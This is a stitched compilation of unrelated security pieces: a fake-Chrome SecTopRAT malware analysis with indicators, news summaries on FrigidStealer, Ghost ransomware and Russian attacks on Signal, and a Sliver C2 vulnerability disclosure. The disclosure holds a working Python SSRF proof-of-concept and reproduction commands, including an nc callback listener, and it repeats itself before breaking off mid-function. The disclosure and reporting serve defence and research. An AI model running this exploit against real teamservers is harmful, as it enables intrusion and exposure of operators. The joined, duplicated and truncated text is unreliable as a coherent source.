Beware before downloading Google Chrome from a Google search, you might get more than you expected.

Criminals are once again abusing Google Ads to trick users into downloading malware. Ironically, this time the bait is a malicious ad for Google Chrome, the world’s most popular browser.

Victims who click the ad land on a fraudulent Google Sites page designed as a intermediary portal, similar to what we saw earlier this year with the massive Google accounts phishing campaign.

The final redirect eventually downloads a large executable disguised as Google Chrome which does install the aforementioned but also surreptitiously drops a malware payload known as SecTopRAT.

We have reported this incident to Google, but at the time of writing the fake Google Sites page is still up and running.

We identified a suspicious ad when searching for “_download google chrome_“. If you look at the URL embedded in the sponsored result, you will notice it shows “_https://sites.google.com_“, which is Google’s free website builder.

While most pages hosted on there are legitimate, it’s good to remember that they are user generated and that abuse is a part of any open platform. It’s also a way for criminals to cleverly appear as legitimate when building fake ads.

**Malware payload**

Once a user double clicks on _GoogleChrome.exe_ the fake Chrome installer connects to _hxxps\[://\]launchapps\[.\]site/getCode\[.\]php_ and retrieves the necessary instructions. Below, we can see how it requests to run as administrator in order to perform certain actions that require this access level.

A PowerShell command adds an exclusion path to the %appdata%\\Roaming directory so that Windows Defender does not trigger when the malware payload is extracted.

An encrypted data stream is downloaded from _hxxps\[://\]launchapps\[.\]site/3\[.\]php?uuid={}\_uuid_ and then decrypted:

The executable named _decrypted.exe_ (PDB path: _D:\\a\\wix4\\wix4\\build\\burn\\Release\\x64\\burn.pdb_) is then dropped to %\\AppData%\\Roaming\\BackupWin\\ and unpacks the final payload, _waterfox.exe_. Side note: it has the same name and icon as the Waterfox browser (an open-source fork of the Firefox web browser).

The malicious code is then injected into the legitimate _MSBuild.exe_ process which communicates with the attackers’ command and control infrastructure at the following IP: 45.141.84\[.\]208. From this, we identify the malware payload as SecTopRAT, a remote access Trojan with stealer capabilities.

Lastly, to make sure victims are completely fooled, it finishes by downloading and installing the legitimate Chrome browser. From the installation script, we see other campaigns the same threat actors are running in parallel for fake Notion and Grammarly installers.

**Conclusion**

Downloading and installing software provides an opportunity for threat actors as long as they are able to compromise the delivery chain. Search ads provide that entry point by leveraging the trust users have in their search engine. It is somewhat ironic but also damning when malicious ads impersonate the same platform that allows them in the first place.

The fake Chrome installer we reviewed in this blog post cleverly retrieved its malicious payload dynamically from a remote site and only decrypted it after making sure Windows Defender would not be able to scan it. The ruse was complete when the actual legitimate Google Chrome installer was downloaded and installed.

Malwarebytes users were already protected from this attack, with Browser Guard blocking the malicious ad and Premium Security Antivirus detecting the dropped payload.

**We don’t just report on threats—we remove them**

Cybersecurity risks should never spread beyond a headline. Keep threats off your devices by downloading Malwarebytes today.

**Indicators of Compromise**

Google Sites

sites\[.\]google\[.\]com/view/gfbtechd/

Fake Chrome download

chrome\[.\]browser\[.\]com\[.\]de  
chrome\[.\]browser\[.\]com\[.\]de/GoogleChrome.exe  
48fdfbe23eef7eddff071d3eda1bc654b94cf86036ca1cca9c73b0175e168a55

Payload host

launchapps\[.\]site

decrypted.exe

f0977c293f94492921452921181d79e8790f34939429924063e77e120ebd23d7

waterfox.exe

0f9b2870c4be5ebacb936000ff41f8075ec88d6535161a93df8e6cfea2d8db54

C2

45.141.84\[.\]208

 SecTopRAT bundled in Chrome installer distributed via Google Ads 

Fake browser update scams now target Mac, Windows, and Android users, delivering malware like FrigidStealer, Lumma Stealer, and…

Fake browser update scams now target Mac, Windows, and Android users, delivering malware like FrigidStealer, Lumma Stealer, and Marcher trojan through compromised websites.

Cybersecurity researchers at Proofpoint have identified two new cybercriminal groups behind a wave of fake browser update scams designed to infect users with malware. These groups, tracked as TA2726 and TA2727, are using compromised websites to trick visitors into downloading malicious software with now including a newly discovered Mac-specific information stealer called FrigidStealer.

****How the Attack Works****

The scam relies on web injects, a technique where attackers insert malicious code into legitimate websites. When users visit an infected site, they see a fake browser update prompt urging them to download and install an update. Instead of a real update, the download delivers malware that can steal sensitive data or install more dangerous payloads.

****TA2726 and TA2727****

TA2726 operates as a traffic seller, essentially providing this redirection service for other malicious actors. Researchers believe that TA2726 appears to be working alongside TA569, a previously known threat actor and once the main player in “fake update” campaigns. TA2727, on the other hand, according to Proofpoint’s blog post, is actively distributing malware itself, often employing the “fake update” ruse to trick users.

One recent campaign observed TA2727 delivering different malware based on the victim’s location. In the United States and Canada, users were directed to the SocGholish inject, which led to the installation of malware. But in Europe, Windows users encountered a fake browser update prompt that installed the Lumma Stealer, while Android users were targeted with the Marcher banking trojan.

****FrigidStealer macOS Malware****

The new FrigidStealer targets Mac users, and the attack starts with a fake update message that redirects them to a malicious file. If clicked, the file, disguised as a browser update (both Chrome and Safari), installs the information stealer. FrigidStealer then secretly harvests sensitive data like browser cookies, files related to passwords and cryptocurrencies, and even Apple Notes, just like the recently spotted new variant of the XCSSET malware.

Fake Safari and Chrome browser update websites delivering FrigidStealer (Via: Proofpoint)

The malware is written in Go and uses WailsIO, a framework that allows the fake update window to look realistic. It also bypasses Mac’s Gatekeeper security feature by requiring users to right-click and select “Open,” a common trick used by Mac malware authors.

****Windows and Android Users Also Targeted****

Mac users aren’t the only ones at risk. The same attack chain has been found delivering Marcher banking trojan for Android and Lumma Stealer and DeerStealer for Windows.

For Android users, clicking the update downloads Marcher, a banking trojan that has been active since 2013 and is designed to steal login credentials from banking apps. If a Windows user clicks the fake update, they receive an MSI installer that loads a trojanized DLL, ultimately running Lumma Stealer to extract credentials and financial data.

Users can still protect themselves by learning basic cybersecurity practices, learning how to spot a phishing email, avoiding third-party apps and tools, and scanning files and links on sites like VirusTotal or ANY.RUN.

New FrigidStealer Malware Infects macOS via Fake Browser Updates

FBI and CISA warn of Ghost ransomware, a China-based cyber threat targeting businesses, schools, and healthcare worldwide by exploiting software vulnerabilities.

A joint advisory from the Federal Bureau of Investigation (FBI), Cybersecurity and Infrastructure Security Agency (CISA), and the Multi-State Information Sharing and Analysis Center (MS-ISAC) reveals the ongoing threat of Ghost ransomware, also known as Cring.

Active since early 2021, this group, operating out of China, has targeted organizations in over 70 countries, impacting critical infrastructure, schools, healthcare, government networks, and businesses of all sizes. Their motive is purely financial gain.

****How Ghost Operates:****

Ghost actors exploit known vulnerabilities in internet-facing services running outdated software and firmware. Their modus operandi involves using publicly available code to exploit known vulnerabilities, such as those in Fortinet FortiOS appliances, Adobe ColdFusion, Microsoft SharePoint, and Microsoft Exchange. Once inside, they deploy ransomware payloads, including Cring.exe, Ghost.exe, ElysiumO.exe, and Locker.exe, which encrypt files and demand hefty ransoms in cryptocurrency.

While Ghost’s ransom notes often threaten to sell stolen data, they typically exfiltrate limited amounts of information, focusing on encrypting systems for ransom.

****Identifying Ghost Activity:****

The advisory provides a list of indicators of compromise (IOCs), including file hashes, ransom email addresses, and tools used by Ghost actors. Organizations should investigate any presence of these IOCs on their networks. Unusual network traffic, such as scans for vulnerable devices, manipulation of administrator accounts, and execution of unfamiliar PowerShell scripts, can also indicate Ghost activity.

****Protecting Your Organization:****

The advisory also stresses the importance of basic security measures to defend against Ghost ransomware. One key measure is maintaining regular backups, preferably offline or segmented, to enable system restoration without succumbing to ransom demands. Timely patching software and firmware is also vital in addressing known vulnerabilities before they can be exploited.

Organizations should implement network segmentation by isolating compromised systems to limit the spread of infections. Strengthening authentication methods is another vital step, with phishing-resistant multi-factor authentication (MFA) recommended for all privileged and email accounts.

Cybersecurity training for employees also helps overcome the risks of phishing attacks. Additionally, monitoring PowerShell usage can help detect malicious activity early.

Organizations should also implement allowlisting to restrict the execution of unauthorized applications and scripts, reducing the risk of malware infiltration. Network monitoring is essential for identifying and investigating any abnormal behaviour that could indicate a security breach.

Furthermore, minimizing service exposure by disabling unnecessary ports and restricting access to essential services can significantly reduce vulnerabilities. Lastly, enhancing email security through advanced filtering and anti-spoofing measures helps prevent phishing attempts and other email-based threats.

As Juliette Hudson, CTO of CybaVerse, notes, _“_Ghost is a serious nation-state threat, exploiting known CVEs in widely used tech. Organizations must prioritize patching and remediation to prevent attacks. Unlike many ransomware groups relying on social engineering, Ghost exploits vulnerabilities for initial access. This highlights the urgency of timely security updates, as exploitation windows are shrinking. Strong cybersecurity hygiene, vulnerability testing, and security awareness training, especially against AI-driven phishing and deepfakes, are essential to defence._“_

1.  RansomHub: The New King of Ransomware?
2.  Lessons from the Holy Ghost Ransomware Attacks
3.  Fake GitHub Accounts Drop Malware in Stargazers Ghost Scheme
4.  New Codefinger Ransomware Exploits AWS to Encrypt S3 Buckets
5.  US Sanctions Chinese Cybersecurity Firm for Ransomware Attacks

FBI and CISA Warn of Ghost Ransomware: A Threat to Firms Worldwide

These sorts of attacks reveal growing adversary interest in secure messaging apps used by high-value targets for communication, Google says.

Source: aily\_creativity via Shutterstock

Multiple Russia-aligned threat groups are actively targeting the Signal Messenger application of individuals likely to exchange sensitive military and government communications related to the country's war with Ukraine.

For now, the activity appears limited to persons of interest to Russia's intelligence services, according to researchers at Google's Threat Intelligence Group (GTIG), who spotted it recently. But the tactics the threat actors are using in the campaign could well serve as a blueprint for other groups to follow in broader attacks on Signal, WhatsApp, Telegram, and other popular messaging apps, GTIG warned in a blog post this week.

**Likely to Become More Prevalent**

"We anticipate the tactics and methods used to target Signal will grow in prevalence in the near-term and proliferate to additional threat actors and regions outside the Ukrainian theater of war," Google threat analyst Dan Black wrote in the post.

Two of the Russian cyber-espionage groups that Google observed targeting Signal are UNC5792 — a threat actor that Ukraine's CERT tracks as UAC-0195 — and UNC4221 (aka UAC-0185). The goal of the attackers in both cases is to trick targeted victims into unknowingly linking their Signal account to an attacker-controlled device so any incoming messages are simultaneously available on the linked device.  

The attacks are taking advantage of "linked devices," a feature of the Signal app that allows users to securely connect and synchronize their account across multiple devices. However, the tactics that each threat group uses to get targets to unwittingly link their accounts have been slightly different.

UNC5782's ploy has been to send invitations asking targeted individuals to join a Signal group by sharing a malicious QR code with them. While the invitations look identical to Signal's group invite, the threat actors have modified them so that anyone social-engineered into scanning the QR code ends up linking their account to a UNC592-controlled device instead.

The other threat group, UNC4221, is using a customized phishing kit that impersonates parts of Kropyva, an application that Ukraine's military uses for artillery guidance, to try and social-engineer Signal Messenger users of interest. The threat actor has established Kropyva-themed phishing sites with the QR code directly embedded on them. It has also set up phishing sites pretending to contain legitimate Signal instructions for device linking to encourage scam victims into scanning their malicious QR code.

**Broad Threat Actor Interest**

Google identified UNC4221 and UNC5782 as two of several Russian and Belarusian groups that are targeting Signal Messenger to spy on persons of interest. Not all attacks by UNC4221 and UNC578 have involved device linking. Russia's infamous Sandworm cyber-sabotage group (which Google tracks as APT44) has been stealing Signal messages from a target's Signal database or local storage files, using a combination of malware tools. Similarly, Turla, a threat actor that the US government has tied to Russia's Federal Security Service (FSB), is doing the same using a lightweight PowerShell script that it deploys after gaining access to a target environment. Another threat actor from the region targeting Signal Messenger, according to Google, is Belarus-linked UNC1151, which uses the Robocopy Windows file-copying tool to copy and store Signal messages and attachments for future theft.

The flurry of activity targeting Signal is a sign of broader attacker interest in secure messaging apps used by those in espionage and intelligence gathering, including politicians, military personnel, activists, privacy advocates, and journalists. The apps' security features, which include end-to-end encryption of text, voice, and video with minimal data collection practices, have made it a popular tool for at-risk individuals and communities. It has also made the app "a high-value target for adversaries seeking to intercept sensitive information that could fulfill a range of different intelligence requirements," Google's Black wrote.

Signal is not the only target. Russian groups have also targeted Telegram and WhatsApp users in the same way, Black said. He pointed to a recent Microsoft report on attacks by Russian group Star Blizzard (aka Coldriver, Blue Charlie, Callisto, and UNC4057) that targeted WhatsApp accounts belonging to current and former government officials and diplomats.

Significantly, attacks targeting WhatsApp can affect businesses as well. Although WhatsApp — like Signal, Telegram and other messenger apps — is primarily consumer-focused, numerous businesses worldwide use the app. WhatsApp even has a business version that it has positioned as a tool that businesses can use to engage with customers, accelerate sales, and deliver customer support.

**About the Author**

Jai Vijayan is a seasoned technology reporter with over 20 years of experience in IT trade journalism. He was most recently a Senior Editor at Computerworld, where he covered information security and data privacy issues for the publication. Over the course of his 20-year career at Computerworld, Jai also covered a variety of other technology topics, including big data, Hadoop, Internet of Things, e-voting, and data analytics. Prior to Computerworld, Jai covered technology issues for The Economic Times in Bangalore, India. Jai has a Master's degree in Statistics and lives in Naperville, Ill.

Russian Groups Target Signal Messenger in Spy Campaign

### Summary
The reverse port forwarding in sliver teamserver allows the implant to open a reverse tunnel on the sliver teamserver without verifying if the operator instructed the implant to do so


### Reproduction steps
Run server
```
wget https://github.com/BishopFox/sliver/releases/download/v1.5.42/sliver-server_linux
chmod +x sliver-server_linux
./sliver-server_linux
```

Generate binary
```
generate --mtls 127.0.0.1:8443
```

Run it on windows, then `Task manager -> find process -> Create memory dump file`


Install RogueSliver and get the certs
```
git clone https://github.com/ACE-Responder/RogueSliver.git
pip3 install -r requirements.txt --break-system-packages
python3 ExtractCerts.py implant.dmp
```

Start callback listener. Teamserver will connect when POC is run and send "ssrf poc" to nc
```
nc -nvlp 1111
```

Run the poc (pasted at bottom of this file)
```
python3 poc.py <SLIVER IP> <MTLS PORT> <CALLBACK IP> <CALLBACK PORT>
python3 poc.py 192.168.1.33 8443 44.221.186.72 1111
```


### Details
We see here an envelope is read from the connection and if the envelope.Type matches a handler the handler will be executed
```go
func handleSliverConnection(conn net.Conn) {
	mtlsLog.Infof("Accepted incoming connection: %s", conn.RemoteAddr())
	implantConn := core.NewImplantConnection(consts.MtlsStr, conn.RemoteAddr().String())

	defer func() {
		mtlsLog.Debugf("mtls connection closing")
		conn.Close()
		implantConn.Cleanup()
	}()

	done := make(chan bool)
	go func() {
		defer func() {
			done <- true
		}()
		handlers := serverHandlers.GetHandlers()
		for {
			envelope, err := socketReadEnvelope(conn)
			if err != nil {
				mtlsLog.Errorf("Socket read error %v", err)
				return
			}
			implantConn.UpdateLastMessage()
			if envelope.ID != 0 {
				implantConn.RespMutex.RLock()
				if resp, ok := implantConn.Resp[envelope.ID]; ok {
					resp <- envelope // Could deadlock, maybe want to investigate better solutions
				}
				implantConn.RespMutex.RUnlock()
			} else if handler, ok := handlers[envelope.Type]; ok {
				mtlsLog.Debugf("Received new mtls message type %d, data: %s", envelope.Type, envelope.Data)
				go func() {
					respEnvelope := handler(implantConn, envelope.Data)
					if respEnvelope != nil {
						implantConn.Send <- respEnvelope
					}
				}()
			}
		}
	}()

Loop:
	for {
		select {
		case envelope := <-implantConn.Send:
			err := socketWriteEnvelope(conn, envelope)
			if err != nil {
				mtlsLog.Errorf("Socket write failed %v", err)
				break Loop
			}
		case <-done:
			break Loop
		}
	}
	mtlsLog.Debugf("Closing implant connection %s", implantConn.ID)
}
```

The available handlers:
```go
func GetHandlers() map[uint32]ServerHandler {
	return map[uint32]ServerHandler{
		// Sessions
		sliverpb.MsgRegister:    registerSessionHandler,
		sliverpb.MsgTunnelData:  tunnelDataHandler,
		sliverpb.MsgTunnelClose: tunnelCloseHandler,
		sliverpb.MsgPing:        pingHandler,
		sliverpb.MsgSocksData:   socksDataHandler,

		// Beacons
		sliverpb.MsgBeaconRegister: beaconRegisterHandler,
		sliverpb.MsgBeaconTasks:    beaconTasksHandler,

		// Pivots
		sliverpb.MsgPivotPeerEnvelope: pivotPeerEnvelopeHandler,
		sliverpb.MsgPivotPeerFailure:  pivotPeerFailureHandler,
	}
}
```

If we send an envelope with the envelope.Type equaling MsgTunnelData, we will enter the `tunnelDataHandler` function
```go
// The handler mutex prevents a send on a closed channel, without it
// two handlers calls may race when a tunnel is quickly created and closed.
func tunnelDataHandler(implantConn *core.ImplantConnection, data []byte) *sliverpb.Envelope {
	session := core.Sessions.FromImplantConnection(implantConn)
	if session == nil {
		sessionHandlerLog.Warnf("Received tunnel data from unknown session: %v", implantConn)
		return nil
	}
	tunnelHandlerMutex.Lock()
	defer tunnelHandlerMutex.Unlock()
	tunnelData := &sliverpb.TunnelData{}
	proto.Unmarshal(data, tunnelData)

	sessionHandlerLog.Debugf("[DATA] Sequence on tunnel %d, %d, data: %s", tunnelData.TunnelID, tunnelData.Sequence, tunnelData.Data)

	rtunnel := rtunnels.GetRTunnel(tunnelData.TunnelID)
	if rtunnel != nil && session.ID == rtunnel.SessionID {
		RTunnelDataHandler(tunnelData, rtunnel, implantConn)
	} else if rtunnel != nil && session.ID != rtunnel.SessionID {
		sessionHandlerLog.Warnf("Warning: Session %s attempted to send data on reverse tunnel it did not own", session.ID)
	} else if rtunnel == nil && tunnelData.CreateReverse == true {
		createReverseTunnelHandler(implantConn, data)
		//RTunnelDataHandler(tunnelData, rtunnel, implantConn)
	} else {
		tunnel := core.Tunnels.Get(tunnelData.TunnelID)
		if tunnel != nil {
			if session.ID == tunnel.SessionID {
				tunnel.SendDataFromImplant(tunnelData)
			} else {
				sessionHandlerLog.Warnf("Warning: Session %s attempted to send data on tunnel it did not own", session.ID)
			}
		} else {
			sessionHandlerLog.Warnf("Data sent on nil tunnel %d", tunnelData.TunnelID)
		}
	}

	return nil
}
```


The `createReverseTunnelHandler` reads the envelope, creating a socket for `req.Rportfwd.Host` and `req.Rportfwd.Port`.  It will write `recv.Data` to it
```go
func createReverseTunnelHandler(implantConn *core.ImplantConnection, data []byte) *sliverpb.Envelope {
	session := core.Sessions.FromImplantConnection(implantConn)

	req := &sliverpb.TunnelData{}
	proto.Unmarshal(data, req)

	var defaultDialer = new(net.Dialer)

	remoteAddress := fmt.Sprintf("%s:%d", req.Rportfwd.Host, req.Rportfwd.Port)

	ctx, cancelContext := context.WithCancel(context.Background())

	dst, err := defaultDialer.DialContext(ctx, "tcp", remoteAddress)
	//dst, err := net.Dial("tcp", remoteAddress)
	if err != nil {
		tunnelClose, _ := proto.Marshal(&sliverpb.TunnelData{
			Closed:   true,
			TunnelID: req.TunnelID,
		})
		implantConn.Send <- &sliverpb.Envelope{
			Type: sliverpb.MsgTunnelClose,
			Data: tunnelClose,
		}
		cancelContext()
		return nil
	}

	if conn, ok := dst.(*net.TCPConn); ok {
		// {{if .Config.Debug}}
		//log.Printf("[portfwd] Configuring keep alive")
		// {{end}}
		conn.SetKeepAlive(true)
		// TODO: Make KeepAlive configurable
		conn.SetKeepAlivePeriod(1000 * time.Second)
	}

	tunnel := rtunnels.NewRTunnel(req.TunnelID, session.ID, dst, dst)
	rtunnels.AddRTunnel(tunnel)
	cleanup := func(reason error) {
		// {{if .Config.Debug}}
		sessionHandlerLog.Infof("[portfwd] Closing tunnel %d (%s)", tunnel.ID, reason)
		// {{end}}
		tunnel := rtunnels.GetRTunnel(tunnel.ID)
		rtunnels.RemoveRTunnel(tunnel.ID)
		dst.Close()
		cancelContext()
	}

	go func() {
		tWriter := tunnelWriter{
			tun:  tunnel,
			conn: implantConn,
		}
		// portfwd only uses one reader, hence the tunnel.Readers[0]
		n, err := io.Copy(tWriter, tunnel.Readers[0])
		_ = n // avoid not used compiler error if debug mode is disabled
		// {{if .Config.Debug}}
		sessionHandlerLog.Infof("[tunnel] Tunnel done, wrote %v bytes", n)
		// {{end}}

		cleanup(err)
	}()

	tunnelDataCache.Add(tunnel.ID, req.Sequence, req)

	// NOTE: The read/write semantics can be a little mind boggling, just remember we're reading
	// from the server and writing to the tunnel's reader (e.g. stdout), so that's why ReadSequence
	// is used here whereas WriteSequence is used for data written back to the server

	// Go through cache and write all sequential data to the reader
	for recv, ok := tunnelDataCache.Get(tunnel.ID, tunnel.ReadSequence()); ok; recv, ok = tunnelDataCache.Get(tunnel.ID, tunnel.ReadSequence()) {
		// {{if .Config.Debug}}
		//sessionHandlerLog.Infof("[tunnel] Write %d bytes to tunnel %d (read seq: %d)", len(recv.Data), recv.TunnelID, recv.Sequence)
		// {{end}}
		tunnel.Writer.Write(recv.Data)

		// Delete the entry we just wrote from the cache
		tunnelDataCache.DeleteSeq(tunnel.ID, tunnel.ReadSequence())
		tunnel.IncReadSequence() // Increment sequence counter

		// {{if .Config.Debug}}
		//sessionHandlerLog.Infof("[message just received] %v", tunnelData)
		// {{end}}
	}

	//If cache is building up it probably means a msg was lost and the server is currently hung waiting for it.
	//Send a Resend packet to have the msg resent from the cache
	if tunnelDataCache.Len(tunnel.ID) > 3 {
		data, err := proto.Marshal(&sliverpb.TunnelData{
			Sequence: tunnel.WriteSequence(), // The tunnel write sequence
			Ack:      tunnel.ReadSequence(),
			Resend:   true,
			TunnelID: tunnel.ID,
			Data:     []byte{},
		})
		if err != nil {
			// {{if .Config.Debug}}
			//sessionHandlerLog.Infof("[shell] Failed to marshal protobuf %s", err)
			// {{end}}
		} else {
			// {{if .Config.Debug}}
			//sessionHandlerLog.Infof("[tunnel] Requesting resend of tunnelData seq: %d", tunnel.ReadSequence())
			// {{end}}
			implantConn.RequestResend(data)
		}
	}
	return nil
}
```



### Impact
For current POC, mostly just leaking teamserver origin IP behind redirectors. I am 99% sure you can get full read SSRF but POC is blind only right now

To exploit this for MTLS listeners, you will need MTLS keys
For HTTP listeners, you will need to generate valid nonce
Not sure about other transport types



### POC
POC code, it is not cleaned up at all, please forgive me
```python
#!/usr/bin/python
import sys
import time
import base64
import socket, ssl
from RogueSliver.consts import msgs
import random
import struct
import RogueSliver.sliver_pb2 as sliver
import json
import argparse
import uuid
from google.protobuf import json_format
from rich import print
import random
import string

ssl_ctx = ssl.create_default_context()
ssl_ctx.load_cert_chain(keyfile='certs/client.key',certfile='certs/client.crt')#,ca_certs='sliver/ca.crt')
ssl_ctx.load_verify_locations('certs/ca.crt')
ssl_ctx.check_hostname = False
ssl_ctx.verify_mode = ssl.CERT_NONE



def generate_random_string(length=8):
    # Combine letters and digits
    characters = string.ascii_letters + string.digits
    # Generate random string
    random_string = ''.join(random.choice(characters) for _ in range(length))
    return random_string

def rand_unicode(junk_sz):
  junk = ''.join([chr(random.randint(0,2047)) for x in range(junk_sz)]).encode('utf-8','surrogatepass').decode()
  return(junk)

def junk_register(junk_sz):
  n = generate_random_string()
  register = {
        "Name": "chebuya"+n,
        "Hostname": "chebuya.local"+n,
        "Uuid": "uuid"+n,
        "Username": "username"+n,
        "Uid": "uid"+n,
        "Gid": "gid"+n,
        "Os": "os"+n,
        "Arch": "arch"+n,
        "Pid": 10,
        "Filename": "filename"+n,
        "ActiveC2": "activec2"+n,
        "Version": "version"+n,
        "ReconnectInterval": 60,
        "ConfigID": "config_id"+n,
        "PeerID": -1,
        "Locale": "locale" + n
  }

  return register



def make_ping_env():
  reg = sliver.Ping()
  json_format.Parse(json.dumps({}),reg)
  envelope = sliver.Envelope()
  envelope.Type = msgs.index('Ping')
  envelope.Data = reg.SerializeToString()

  return envelope



def make_rt_env():
    
    jdata = {
            "Data": "c3NyZiBwb2M=",
            "Closed": False,
            "Sequence": 0,
            "Ack": 0,
            "Resend": False,
            "CreateReverse": True,
            "rportfwd": {
                "Port": int(sys.argv[4]),
                "Host": sys.argv[3],
                "TunnelID": 0,
            },
            "TunnelID": 0,
    }



    reg = sliver.TunnelData()
    json_format.Parse(json.dumps(jdata),reg)
    envelope = sliver.Envelope()
    envelope.Type = msgs.index('TunnelData')
    envelope.Data = reg.SerializeToString()

    return envelope




def send_envelope(envelope,ip,port):
  with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    with ssl_ctx.wrap_socket(s,) as ssock:
      ssock.connect((ip,port))

      print(len(envelope.SerializeToString()))
      #data_len = struct.pack('!I', len(envelope.SerializeToString()) )
      data_len = struct.pack('I', len(envelope.SerializeToString()) )




      envelope3 = make_rt_env()
      data_len3 = struct.pack('I', len(envelope3.SerializeToString()) )

      print(data_len)

      ssock.write(data_len + envelope.SerializeToString()) 
      ssock.write(data_len3 + envelope3.SerializeToString())



    
      # No idea why this is reqauired
      while True:
          time.sleep(2)
          ssock.write(data_len3 + envelope3.SerializeToString())



def register_session(ip,port):
  print('[yellow]\[i][/yellow] Sending session registration.')
  reg = sliver.Register()
  json_format.Parse(json.dumps(junk_register(50)),reg)
  envelope = sliver.Envelope()
  envelope.Type = msgs.index('Register')
  envelope.Data = reg.SerializeToString()
  send_envelope(envelope,ip,port)

def register_beacon(ip,port):
  print('[yellow]\[i][/yellow] Sending beacon registration.')
  reg = sliver.BeaconRegister()
  reg.ID = str(uuid.uuid4())
  junk_sz = 50
  reg.Interval = random.randint(0,10*junk_sz)
  reg.Jitter = random.randint(0,10*junk_sz)
  reg.NextCheckin = random.randint(0,10*junk_sz)
  json_format.Parse(json.dumps(junk_register(junk_sz)),reg.Register)
  envelope = sliver.Envelope()
  envelope.Type = msgs.index('BeaconRegister')
  envelope.Data = reg.SerializeToString()
  send_envelope(envelope,ip,port)

description = '''
Flood a Sliver C2 server with beacons and sessions. Requires an mtls certificate.
'''

if __name__ == '__main__':
  register_session(sys.argv[1], int(sys.argv[2]))
```

**Summary**

The reverse port forwarding in sliver teamserver allows the implant to open a reverse tunnel on the sliver teamserver without verifying if the operator instructed the implant to do so

**Reproduction steps**

Run server

    wget https://github.com/BishopFox/sliver/releases/download/v1.5.42/sliver-server_linux
    chmod +x sliver-server_linux
    ./sliver-server_linux
    

Generate binary

    generate --mtls 127.0.0.1:8443
    

Run it on windows, then Task manager -> find process -> Create memory dump file

Install RogueSliver and get the certs

    git clone https://github.com/ACE-Responder/RogueSliver.git
    pip3 install -r requirements.txt --break-system-packages
    python3 ExtractCerts.py implant.dmp
    

Start callback listener. Teamserver will connect when POC is run and send "ssrf poc" to nc

    nc -nvlp 1111
    

Run the poc (pasted at bottom of this file)

    python3 poc.py <SLIVER IP> <MTLS PORT> <CALLBACK IP> <CALLBACK PORT>
    python3 poc.py 192.168.1.33 8443 44.221.186.72 1111
    

**Details**

We see here an envelope is read from the connection and if the envelope.Type matches a handler the handler will be executed

func handleSliverConnection(conn net.Conn) {
	mtlsLog.Infof("Accepted incoming connection: %s", conn.RemoteAddr())
	implantConn := core.NewImplantConnection(consts.MtlsStr, conn.RemoteAddr().String())

	defer func() {
		mtlsLog.Debugf("mtls connection closing")
		conn.Close()
		implantConn.Cleanup()
	}()

	done := make(chan bool)
	go func() {
		defer func() {
			done <- true
		}()
		handlers := serverHandlers.GetHandlers()
		for {
			envelope, err := socketReadEnvelope(conn)
			if err != nil {
				mtlsLog.Errorf("Socket read error %v", err)
				return
			}
			implantConn.UpdateLastMessage()
			if envelope.ID != 0 {
				implantConn.RespMutex.RLock()
				if resp, ok := implantConn.Resp\[envelope.ID\]; ok {
					resp <- envelope // Could deadlock, maybe want to investigate better solutions
				}
				implantConn.RespMutex.RUnlock()
			} else if handler, ok := handlers\[envelope.Type\]; ok {
				mtlsLog.Debugf("Received new mtls message type %d, data: %s", envelope.Type, envelope.Data)
				go func() {
					respEnvelope := handler(implantConn, envelope.Data)
					if respEnvelope != nil {
						implantConn.Send <- respEnvelope
					}
				}()
			}
		}
	}()

Loop:
	for {
		select {
		case envelope := <-implantConn.Send:
			err := socketWriteEnvelope(conn, envelope)
			if err != nil {
				mtlsLog.Errorf("Socket write failed %v", err)
				break Loop
			}
		case <-done:
			break Loop
		}
	}
	mtlsLog.Debugf("Closing implant connection %s", implantConn.ID)
}

The available handlers:

func GetHandlers() map\[uint32\]ServerHandler {
	return map\[uint32\]ServerHandler{
		// Sessions
		sliverpb.MsgRegister:    registerSessionHandler,
		sliverpb.MsgTunnelData:  tunnelDataHandler,
		sliverpb.MsgTunnelClose: tunnelCloseHandler,
		sliverpb.MsgPing:        pingHandler,
		sliverpb.MsgSocksData:   socksDataHandler,

		// Beacons
		sliverpb.MsgBeaconRegister: beaconRegisterHandler,
		sliverpb.MsgBeaconTasks:    beaconTasksHandler,

		// Pivots
		sliverpb.MsgPivotPeerEnvelope: pivotPeerEnvelopeHandler,
		sliverpb.MsgPivotPeerFailure:  pivotPeerFailureHandler,
	}
}

If we send an envelope with the envelope.Type equaling MsgTunnelData, we will enter the tunnelDataHandler function

// The handler mutex prevents a send on a closed channel, without it
// two handlers calls may race when a tunnel is quickly created and closed.
func tunnelDataHandler(implantConn \*core.ImplantConnection, data \[\]byte) \*sliverpb.Envelope {
	session := core.Sessions.FromImplantConnection(implantConn)
	if session \== nil {
		sessionHandlerLog.Warnf("Received tunnel data from unknown session: %v", implantConn)
		return nil
	}
	tunnelHandlerMutex.Lock()
	defer tunnelHandlerMutex.Unlock()
	tunnelData := &sliverpb.TunnelData{}
	proto.Unmarshal(data, tunnelData)

	sessionHandlerLog.Debugf("\[DATA\] Sequence on tunnel %d, %d, data: %s", tunnelData.TunnelID, tunnelData.Sequence, tunnelData.Data)

	rtunnel := rtunnels.GetRTunnel(tunnelData.TunnelID)
	if rtunnel != nil && session.ID \== rtunnel.SessionID {
		RTunnelDataHandler(tunnelData, rtunnel, implantConn)
	} else if rtunnel != nil && session.ID != rtunnel.SessionID {
		sessionHandlerLog.Warnf("Warning: Session %s attempted to send data on reverse tunnel it did not own", session.ID)
	} else if rtunnel \== nil && tunnelData.CreateReverse \== true {
		createReverseTunnelHandler(implantConn, data)
		//RTunnelDataHandler(tunnelData, rtunnel, implantConn)
	} else {
		tunnel := core.Tunnels.Get(tunnelData.TunnelID)
		if tunnel != nil {
			if session.ID \== tunnel.SessionID {
				tunnel.SendDataFromImplant(tunnelData)
			} else {
				sessionHandlerLog.Warnf("Warning: Session %s attempted to send data on tunnel it did not own", session.ID)
			}
		} else {
			sessionHandlerLog.Warnf("Data sent on nil tunnel %d", tunnelData.TunnelID)
		}
	}

	return nil
}

The createReverseTunnelHandler reads the envelope, creating a socket for req.Rportfwd.Host and req.Rportfwd.Port. It will write recv.Data to it

func createReverseTunnelHandler(implantConn \*core.ImplantConnection, data \[\]byte) \*sliverpb.Envelope {
	session := core.Sessions.FromImplantConnection(implantConn)

	req := &sliverpb.TunnelData{}
	proto.Unmarshal(data, req)

	var defaultDialer \= new(net.Dialer)

	remoteAddress := fmt.Sprintf("%s:%d", req.Rportfwd.Host, req.Rportfwd.Port)

	ctx, cancelContext := context.WithCancel(context.Background())

	dst, err := defaultDialer.DialContext(ctx, "tcp", remoteAddress)
